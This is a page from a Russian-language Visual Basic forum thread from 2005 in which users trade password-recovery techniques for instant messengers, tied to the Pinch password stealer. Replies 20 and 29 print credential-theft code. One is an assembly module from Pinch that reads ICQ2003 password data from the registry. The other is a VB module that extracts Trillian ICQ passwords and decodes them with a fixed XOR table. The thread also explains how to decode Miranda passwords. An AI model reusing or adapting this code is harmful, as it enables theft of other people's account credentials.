Visual Basic, .NET, ASP, VBScript
 

   
   
     

Форум - Общий форум

Страница: 1 | 2 | 3 |

 

  Вопрос: Кто знает алгоритмы расшифровки паролей? Добавлено: 18.05.05 21:13  

Автор вопроса:  HACKER

Ответить

  Ответы Всего ответов: 38  

Номер ответа: 16
Автор ответа:
 Sharp


Лидер форума

ICQ: 216865379 

Вопросов: 106
Ответов: 9979
 Web-сайт: sharpc.livejournal.com
 Профиль | | #16
Добавлено: 22.05.05 05:26
MD5crack - это и есть детектор коллизий.

Ответить

Номер ответа: 17
Автор ответа:
 DaSharm_tmp



ICQ: 780477 

Вопросов: 2
Ответов: 23
 Web-сайт: www.eicq.net.ru
 Профиль | | #17
Добавлено: 22.05.05 13:00
переведи пару алгоритмов на вб с того пинча


в пинче нет алгоритмлв дешифрации. Они есть в парсере, и не на асме , а на дельфи. Переводь

Ответить

Номер ответа: 18
Автор ответа:
 HACKER


 

Разработчик Offline Client

Вопросов: 236
Ответов: 8362
 Профиль | | #18 Добавлено: 22.05.05 14:43
о! руль, я вроде знаю слегка делфи. Скинь плиз сырсы этого парсера от сюды visualbasic@xaker.ru

Ответить

Номер ответа: 19
Автор ответа:
 DaSharm_tmp



ICQ: 780477 

Вопросов: 2
Ответов: 23
 Web-сайт: www.eicq.net.ru
 Профиль | | #19
Добавлено: 22.05.05 19:35

он вместе с Пинч есть. смотри в папках.

Ответить

Номер ответа: 20
Автор ответа:
 HACKER


 

Разработчик Offline Client

Вопросов: 236
Ответов: 8362
 Профиль | | #20 Добавлено: 22.05.05 23:22
не на шёл я там нечего на делфи. Парсер есть какой-то (Pinch.TBP) но я так понял это уже скомпилированный. А вообще почему ты говоришь что в пинче на асме нет алгоритмов расшифровки, вот пример модуля из пинча который добывает пароли к 2003 аси

; ----------------------------------------
;
;  ;(C) Alex Demchenko (alex@ritlabs.com)
;          http://www.cobans.net
;
; ----------------------------------------



;
; Decode ICQ2003a/Lite passwords
;
;
;
; #########################################################################

        .data
                szKeyPath       db      "SOFTWARE\Mirabilis\ICQ\NewOwners",0

        .code

; #########################################################################

GetDriveSerial proc

        ; -------------------------
        ; Return DriveSerial in eax
        ; -------------------------

        LOCAL   Serial: DWORD, Max: DWORD, Flags: DWORD

        ; Alloc memory for GetWinDir
        invoke  GetWindowsDirectory, offset lpBuf1, MAX_PATH+1

        test    eax, eax
        jz      @ret

        lea     eax, lpBuf1
        mov     byte ptr[eax+3], 0

        invoke  GetVolumeInformation, offset lpBuf1, offset lpBuf3, 40, addr Serial, addr Max, addr Flags, offset lpBuf4, 40
        push    Serial
        lea     eax, lpBuf3
        pop     [eax]

@ret:
        ret
GetDriveSerial endp

; #########################################################################

GetMainLocation proc uses edi lpName: DWORD
        LOCAL   hkHandle: DWORD, DataType: DWORD, BufSize: DWORD

        szText  szMainLocation, "MainLocation"

        xor     edi, edi

        ; Make the registry path to MainLocation in lpSubKey
        szText  szKey, "%s\%s"

        invoke  wsprintf, offset lpBuf4, offset szKey, offset szKeyPath, lpName

        invoke  RegCreateKey, HKEY_CURRENT_USER, offset lpBuf4, addr hkHandle
        cmp     eax, ERROR_SUCCESS
        jne     @end
        
        ; Query the MainLocation value
        mov     BufSize, 16

        invoke  RegQueryValueEx, hkHandle, offset szMainLocation, NULL, addr DataType, offset lpBuf1, addr BufSize
        cmp     eax, ERROR_SUCCESS
        jne     @end

        cmp     BufSize, 8
        je      @work
        cmp     BufSize, 16
        jnz     @end
        
@work:
        invoke  LocalAlloc, LMEM_FIXED or LMEM_ZEROINIT, 64
        mov     edi, eax
        invoke  TextToHex, offset lpBuf1, eax, BufSize

@end:
        invoke  RegCloseKey, hkHandle

        mov     eax, edi

        ret
GetMainLocation endp

; #########################################################################

GetICQ2003Output proc uses edi
        LOCAL   lpName, KeyIndex, hkHandle, lpNameLen: DWORD
        
        ; Write the greet message
        szText  szICQ2003Greet, "[2003]",13,10
        invoke  lstrcat, GlobalBuffer, addr szICQ2003Greet

        ; ----------------
        ; Get Drive Serial
        ; ----------------

        szText  szICQ2003Serial, "S: %s",13,10

        invoke  GetDriveSerial
        invoke  TextToHex, offset lpBuf3, offset lpBuf1, 4
        invoke  wsprintf, offset lpBuf2, addr szICQ2003Serial, offset lpBuf1
        invoke  lstrcat, GlobalBuffer, offset lpBuf2

        ; -----------------------
        ; Get MainLocation values
        ; -----------------------

        szText  szICQ2003MainLoc, "UIN(%s): %s",13,10

        invoke  RegCreateKey, HKEY_CURRENT_USER, offset szKeyPath, addr hkHandle
        cmp     eax, ERROR_SUCCESS
        jne     @end

        invoke  LocalAlloc, LMEM_FIXED or LMEM_ZEROINIT, 20
        mov     lpName, eax
        mov     KeyIndex, 0

@loop_enum:
        mov     lpNameLen, 20
        invoke  RegEnumKeyEx, hkHandle, KeyIndex, lpName, addr lpNameLen, NULL, NULL, NULL, NULL
        test    eax, eax
        jnz     @loop_end
        inc     KeyIndex
        invoke  GetMainLocation, lpName
        test    eax, eax
        jz      @loop_enum

        mov     edi, eax

        invoke  wsprintf, offset lpBuf2, offset szICQ2003MainLoc, lpName, eax
        invoke  lstrcat, GlobalBuffer, offset lpBuf2
        
        invoke  LocalFree, edi

        jmp     @loop_enum

@loop_end:
        invoke  LocalFree, lpName

@end:
        invoke  RegCloseKey, hkHandle

        ret
GetICQ2003Output endp


хоть бери учи асм да переводи, а ведь есть такие которые знают, знают но не хотят помочь.

Ответить

Номер ответа: 21
Автор ответа:
 HACKER


 

Разработчик Offline Client

Вопросов: 236
Ответов: 8362
 Профиль | | #21 Добавлено: 22.05.05 23:32
З.Ы.
http://www.plati.ru/asp/seller_goods.asp?id_s=19399

Народ! может скинимся бабками? Купим и поделим на всех

Ответить

Номер ответа: 22
Автор ответа:
 LamerOnLine



ICQ: 334781088 

Вопросов: 108
Ответов: 2822
 Профиль | | #22 Добавлено: 23.05.05 10:27
А что, неужели есть более продвинутые методы подбора пароля по хешу нежели перебор по словарю? А ежели хешируемый пароль длиннее 14 символов - есть идеи?

Ответить

Номер ответа: 23
Автор ответа:
 Sharp


Лидер форума

ICQ: 216865379 

Вопросов: 106
Ответов: 9979
 Web-сайт: sharpc.livejournal.com
 Профиль | | #23
Добавлено: 24.05.05 08:58
Хэш может быть "слабым", т.е. существует алгоритм, который позволяет сделать меньше число перебираемых ключей, чем все, для MD5 и SHA1 нашли такую вещь, но время перебора сократилось непринципиально. Если я правильно тебя понял, то если хэшируемый пароль длиннее 14 символов, после нахождения LM-коллизии придется искать NT-коллизию заметно дольше.

Ответить

Номер ответа: 24
Автор ответа:
 LamerOnLine



ICQ: 334781088 

Вопросов: 108
Ответов: 2822
 Профиль | | #24 Добавлено: 24.05.05 10:45
Если хешируемый пароль длиннее 14 символов, то LM хеш не формируется. Эти символы ты по LM не получишь, и весь пароль придется перебирать по NT :)

Ответить

Номер ответа: 25
Автор ответа:
 Sharp


Лидер форума

ICQ: 216865379 

Вопросов: 106
Ответов: 9979
 Web-сайт: sharpc.livejournal.com
 Профиль | | #25
Добавлено: 24.05.05 11:13
Ах. Ну. Да.

Ответить

Номер ответа: 26
Автор ответа:
 HACKER


 

Разработчик Offline Client

Вопросов: 236
Ответов: 8362
 Профиль | | #26 Добавлено: 24.05.05 20:11
А вернёмся к теме, Sharp ты говорил что у тебя что-то там для иранды есть. Делись!!!

Ответить

Номер ответа: 27
Автор ответа:
 Sharp


Лидер форума

ICQ: 216865379 

Вопросов: 106
Ответов: 9979
 Web-сайт: sharpc.livejournal.com
 Профиль | | #27
Добавлено: 24.05.05 21:10
sne меня уже выдал, надо вычитать 5 из кода каждого символа

Ответить

Номер ответа: 28
Автор ответа:
 HACKER


 

Разработчик Offline Client

Вопросов: 236
Ответов: 8362
 Профиль | | #28 Добавлено: 24.05.05 23:57
sne меня уже выдал, надо вычитать 5 из кода каждого символа
Ты не прав, вот что для этого надо:

1) Поставить миранду
2) Настроить в ней юин
3) Найти тот файл в котором пароли
4) Проанализировать, отпарсить
5) Открыть вб, написать функцию

Глянь сколько всего! :) ужас! :)))) Ладно, кто что ещё умеет?

Ответить

Номер ответа: 29
Автор ответа:
 DaSharm



ICQ: 780477 

Вопросов: 72
Ответов: 1297
 Web-сайт: dasharm.com
 Профиль | | #29
Добавлено: 29.05.05 11:33

2HACKER: во первых, в пинче никогда небыло дешифровки. Пинч вытаскивает значения, а дешифрует парсер и только. Исходник его: Pinch\Sources\ParserOnly

Далее, о миранде: в файле миранды все пассы сохраняються в файлах xxxxx.dat. Структура файла не тяжелая, но много гемора будет. Там уин записан в обратном порядке байта как DWORD и пасс возле него, с каждого аскии код символа пасса надо вычитать 5.

кстати, для трилиана я написал когда-то модуль...

Option Explicit

'©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©'
' Ìîäóëü äëÿ äîñòàâàíèÿ ICQ ïàðîëåé èç òàêîé ïîïóëÿðíîé øòóêè êàê "Trillian" '
' Íàïèñàíî 16 èþëÿ 2004 ãîäà. Ïî âñåì âîïðîñàì îáðàùàòüñÿ êî ìíå, DaSharm'y: '
' dasharm@mail.ru               ICQ: 2068093                 localhost.co.nr '
' âûðàâíèâàíèå êîäà è îáðàáîòêà îøèáîê by sne (sne_pro@mail.ru)
'©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©©'

Private Declare Function RegOpenKeyEx Lib "advapi32.dll" Alias "RegOpenKeyExA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long, phkResult As Long) As Long
Private Declare Function RegQueryValueEx Lib "advapi32.dll" Alias "RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, lpData As Any, lpcbData As Long) As Long
Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long

Private Declare Function GetPrivateProfileString Lib "kernel32" Alias "GetPrivateProfileStringA" (ByVal lpApplicationName As String, ByVal lpKeyName As Any, ByVal lpDefault As String, ByVal lpReturnedString As String, ByVal nSize As Long, ByVal lpFileName As String) As Long

Public Type TrillianUser
    Number      As String
    Password    As String
End Type

Public Function GetTrillianPasswords(TrillianUsers() As TrillianUser) As Long
    Dim adVal As Long, SectName As String

    Do Until Len(GetTU(SectName).Number) = 0&
        SectName = "profile " & adVal

        If Len(GetTU(SectName).Number) Then
            ReDim Preserve TrillianUsers(adVal)

            TrillianUsers(adVal).Number = GetTU(SectName).Number
            TrillianUsers(adVal).Password = GetTU(SectName).Password
        End If

        adVal = adVal + vbNull
    Loop

    GetTrillianPasswords = adVal - 2&
End Function

Private Function GetTU(ByRef Sect As String) As TrillianUser
    Dim gTmp As String * 32, bPath As String, bLen As Long

    bPath = GetTrillianPath & "users\default\aim.ini"

    bLen = GetPrivateProfileString(Sect, "name", vbNullString, gTmp, Len(gTmp), bPath)
    GetTU.Number = Left$(gTmp, bLen)

    bLen = GetPrivateProfileString(Sect, "password", vbNullString, gTmp, Len(gTmp), bPath)
    GetTU.Password = DecodeTrillianPassword(Left$(gTmp, bLen))
End Function

'   © Trillian pwd decode function by DaSharm
Private Function DecodeTrillianPassword(pStr As String) As String
    Dim pTab As Variant, i As Long

    pTab = Array(243, 38, 129, 196, 57, 134, 219, 146, 113, 163, 185, 230, 83, 122, 149, 125)

    For i = vbNull To Len(pStr) Step 2&
        ;DecodeTrillianPassword = DecodeTrillianPassword & Chr$(Val("&H" & Mid$(pStr, i, 2&;)) Xor pTab(i \ 2&;))
    Next
End Function

Private Function GetTrillianPath() As String
    Dim hOpen As Long, hBuff As String, lDataBufSize As Long, e As Long

    If Not RegOpenKeyEx(&H80000002, "SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Trillian", 0&, &H3F, hOpen) = 0& Then Exit Function
    If Not RegQueryValueEx(hOpen, "UninstallString", 0&, 1, ByVal 0&, lDataBufSize) = 0& Then Exit Function

    GetTrillianPath = String$(lDataBufSize, 0&;)
    If Not RegQueryValueEx(hOpen, "UninstallString", 0, 1, ByVal GetTrillianPath, lDataBufSize) = 0& Then Exit Function

    Call RegCloseKey(hOpen)

    GetTrillianPath = Left$(GetTrillianPath, Len(GetTrillianPath) - vbNull)
    GetTrillianPath = Left(GetTrillianPath, Len(GetTrillianPath) - (InStr(vbNull, StrReverse(GetTrillianPath), "\";) - vbNull))
End Function

Ответить

Номер ответа: 30
Автор ответа:
 HACKER


 

Разработчик Offline Client

Вопросов: 236
Ответов: 8362
 Профиль | | #30 Добавлено: 29.05.05 16:21
О, хоть что-то по делу, спасибо DaSharm !

Ответить

Страница: 1 | 2 | 3 |

Поиск по форуму



© Copyright 2002-2011 VBNet.RU | Пишите нам